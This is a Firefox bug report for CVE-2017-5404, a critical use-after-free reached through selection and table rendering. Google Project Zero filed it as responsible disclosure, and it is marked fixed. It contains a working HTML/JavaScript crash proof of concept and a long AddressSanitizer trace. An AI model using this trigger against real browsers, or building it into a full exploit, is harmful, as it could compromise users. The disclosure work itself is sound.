Bug 1340138 (CVE-2017-5404)

table use-after-free

RESOLVED FIXED in Firefox -esr45

Status

()

defect
P1
critical
RESOLVED FIXED
2 years ago
3 months ago

People

(Reporter: ifratric, Assigned: mats)

Tracking

({csectype-uaf, sec-critical, testcase})

Trunk
mozilla54
Points:
---
Bug Flags:
in-testsuite ?

Firefox Tracking Flags

(firefox-esr4552+ fixed, firefox51 wontfix, firefox52blocking fixed, firefox-esr5252+ fixed, firefox53+ fixed, firefox54+ fixed)

Details

(Whiteboard: [disclosure date May 17 2017][adv-main52+][adv-esr45.8+])

Attachments

(3 attachments, 1 obsolete attachment)

Reporter

Description

2 years ago
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Steps to reproduce:

There is a use-after-free security vulnerability in Firefox. The vulnerability was confirmed on the nightly ASan build. 

Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.

PoC and ASan log can be found below.
Notes for reproducing:
 - PoC uses domFuzzLite3 extension (https://www.squarefree.com/extensions/domFuzzLite3.xpi) in order to trigger the garbage collecor
 - After the PoC is opened, it takes about 10 seconds for the crash to occur

PoC:

=================================================================

<style>
body { display: table }
</style>
<script>
function freememory() {
  try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
  var s = document.getSelection();
  window.find("1",true,false,true,false);
  s.modify("extend","forward","line");
  document.body.append(document.createElement("table"));
  freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>

=================================================================

ASan log:

=================================================================
==119582==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000214ce8 at pc 0x7f46d6781c12 bp 0x7ffdc29fc1f0 sp 0x7ffdc29fc1e8
READ of size 8 at 0x60b000214ce8 thread T0
    #0 0x7f46d6781c11 in operator! /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:308:36
    #1 0x7f46d6781c11 in IsInSelection /home/worker/workspace/build/src/dom/base/nsRange.h:120
    #2 0x7f46d6781c11 in nsRange::IsNodeSelected(nsINode*, unsigned int, unsigned int) /home/worker/workspace/build/src/dom/base/nsRange.cpp:202
    #3 0x7f46da800fd3 in nsIFrame::IsSelected() const /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:10107:5
    #4 0x7f46daaa29f6 in nsTableCellFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableCellFrame.cpp:539:11
    #5 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #6 0x7f46daab9bce in nsTableFrame::GenericTraversal(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1212:5
    #7 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
    #8 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #9 0x7f46dab10731 in DisplayRows(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableRowGroupFrame.cpp:231:5
    #10 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
    #11 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #12 0x7f46daab9bce in nsTableFrame::GenericTraversal(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1212:5
    #13 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
    #14 0x7f46daabb382 in nsTableFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1373:3
    #15 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #16 0x7f46dab24b16 in BuildDisplayListForInnerTable /home/worker/workspace/build/src/layout/tables/nsTableWrapperFrame.cpp:207:5
    #17 0x7f46dab24b16 in nsTableWrapperFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableWrapperFrame.cpp:180
    #18 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #19 0x7f46da7912d2 in DisplayLine(nsDisplayListBuilder*, nsRect const&, nsRect const&, nsLineList_iterator&, int, int&, nsDisplayListSet const&, nsBlockFrame*, mozilla::css::TextOverflow*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6585:5
    #20 0x7f46da7890ce in nsBlockFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6677:7
    #21 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #22 0x7f46da7b22f2 in nsCanvasFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:558:5
    #23 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #24 0x7f46da87ebf2 in mozilla::ScrollFrameHelper::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:3497:7
    #25 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #26 0x7f46da735b0a in mozilla::ViewportFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:63:5
    #27 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
    #28 0x7f46da990123 in nsSubDocumentFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:471:7
    #29 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
    #30 0x7f46da78d228 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2910:5
    #31 0x7f46dac92672 in nsStackFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsStackFrame.cpp:59:5
    #32 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #33 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #34 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #35 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #36 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #37 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #38 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #39 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #40 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #41 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #42 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #43 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
    #44 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #45 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #46 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #47 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #48 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #49 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #50 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #51 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #52 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #53 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #54 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #55 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #56 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #57 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #58 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
    #59 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #60 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #61 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #62 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #63 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #64 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
    #65 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #66 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #67 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #68 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
    #69 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #70 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
    #71 0x7f46dac64b7e in nsRootBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsRootBoxFrame.cpp:195:3
    #72 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
    #73 0x7f46da735b0a in mozilla::ViewportFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:63:5
    #74 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
    #75 0x7f46da6623a6 in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3565:5
    #76 0x7f46da565487 in mozilla::PresShell::Paint(nsView*, nsRegion const&, unsigned int) /home/worker/workspace/build/src/layout/base/PresShell.cpp:6481:5
    #77 0x7f46d9d6c897 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /home/worker/workspace/build/src/view/nsViewManager.cpp:484:7
    #78 0x7f46d9d6be97 in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /home/worker/workspace/build/src/view/nsViewManager.cpp:416:9
    #79 0x7f46d9d6f40d in nsViewManager::ProcessPendingUpdates() /home/worker/workspace/build/src/view/nsViewManager.cpp:1105:5
    #80 0x7f46da4bfc8a in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2037:7
    #81 0x7f46da4cbd25 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:305:7
    #82 0x7f46da4cb9f4 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:327:5
    #83 0x7f46da4ce063 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:722:5
    #84 0x7f46da4ce063 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:631
    #85 0x7f46da4c9157 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::ParentProcessVsyncNotifier::Run() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:508:9
    #86 0x7f46d3c2db89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #87 0x7f46d3c2a480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #88 0x7f46d4a43eb4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:124:5
    #89 0x7f46d49b5028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #90 0x7f46d49b5028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #91 0x7f46d49b5028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #92 0x7f46d9ded82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #93 0x7f46dd430051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #94 0x7f46dd5edc0c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4470:10
    #95 0x7f46dd5ef708 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4647:8
    #96 0x7f46dd5f09cc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4738:16
    #97 0x4dfebf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:234:10
    #98 0x4dfebf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:305
    #99 0x7f46eefdb82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #100 0x41c2e8 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41c2e8)

0x60b000214ce8 is located 88 bytes inside of 112-byte region [0x60b000214c90,0x60b000214d00)
freed by thread T0 here:
    #0 0x4b2a3b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f46d3acb2c4 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
    #2 0x7f46d3acaeb6 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
    #3 0x7f46d53d990e in AsyncFreeSnowWhite::Run() /home/worker/workspace/build/src/js/xpconnect/src/XPCJSContext.cpp:145:34
    #4 0x7f46d3c2db89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
    #5 0x7f46d3c2a480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
    #6 0x7f46d4a43ebf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #7 0x7f46d49b5028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
    #8 0x7f46d49b5028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #9 0x7f46d49b5028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #10 0x7f46d9ded82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #11 0x7f46dd430051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #12 0x7f46dd5edc0c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4470:10
    #13 0x7f46dd5ef708 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4647:8
    #14 0x7f46dd5f09cc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4738:16
    #15 0x4dfebf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:234:10
    #16 0x4dfebf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:305
    #17 0x7f46eefdb82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 here:
    #0 0x4b2d5b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e10cd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f46d6796c00 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f46d6796c00 in nsRange::CloneRange() const /home/worker/workspace/build/src/dom/base/nsRange.cpp:2495
    #4 0x7f46d67970ba in nsRange::CloneRange(nsIDOMRange**) /home/worker/workspace/build/src/dom/base/nsRange.cpp:2507:14
    #5 0x7f46d66801d4 in nsHTMLCopyEncoder::SetSelection(nsISelection*) /home/worker/workspace/build/src/dom/base/nsDocumentEncoder.cpp:1426:5
    #6 0x7f46d6596c5e in SelectionCopyHelper(nsISelection*, nsIDocument*, bool, short, unsigned int, nsITransferable**) /home/worker/workspace/build/src/dom/base/nsCopySupport.cpp:199:10
    #7 0x7f46da97e9ee in nsAutoCopyListener::NotifySelectionChanged(nsIDOMDocument*, nsISelection*, short) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6667:10
    #8 0x7f46da95f019 in mozilla::dom::Selection::NotifySelectionListeners() /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6254:5
    #9 0x7f46da97806c in NotifySelectionListeners /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:2429:12
    #10 0x7f46da97806c in mozilla::dom::Selection::Extend(nsINode&, unsigned int, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:5762
    #11 0x7f46da9533e7 in Extend /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:5474:3
    #12 0x7f46da9533e7 in nsFrameSelection::TakeFocus(nsIContent*, unsigned int, unsigned int, mozilla::CaretAssociationHint, bool, bool) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:1873
    #13 0x7f46da94ebaf in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:1160:14
    #14 0x7f46da97c97d in mozilla::dom::Selection::Modify(nsAString_internal const&, nsAString_internal const&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6426:8
    #15 0x7f46d730a949 in mozilla::dom::SelectionBinding::modify(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Selection*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/SelectionBinding.cpp:778:3
    #16 0x7f46d7fdbf77 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2951:13
    #17 0x7f46dda78c24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:281:15
    #18 0x7f46dda78c24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:463
    #19 0x7f46dda5ef88 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:514:12
    #20 0x7f46dda5ef88 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2960
    #21 0x7f46dda4411a in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
    #22 0x7f46dda78eb7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:481:15
    #23 0x7f46dda79552 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:527:10
    #24 0x7f46de426f3c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2865:12
    #25 0x7f46d7b59632 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
    #26 0x7f46d845fbbd in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
    #27 0x7f46d845fbbd in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214
    #28 0x7f46d842a6f9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1123:16
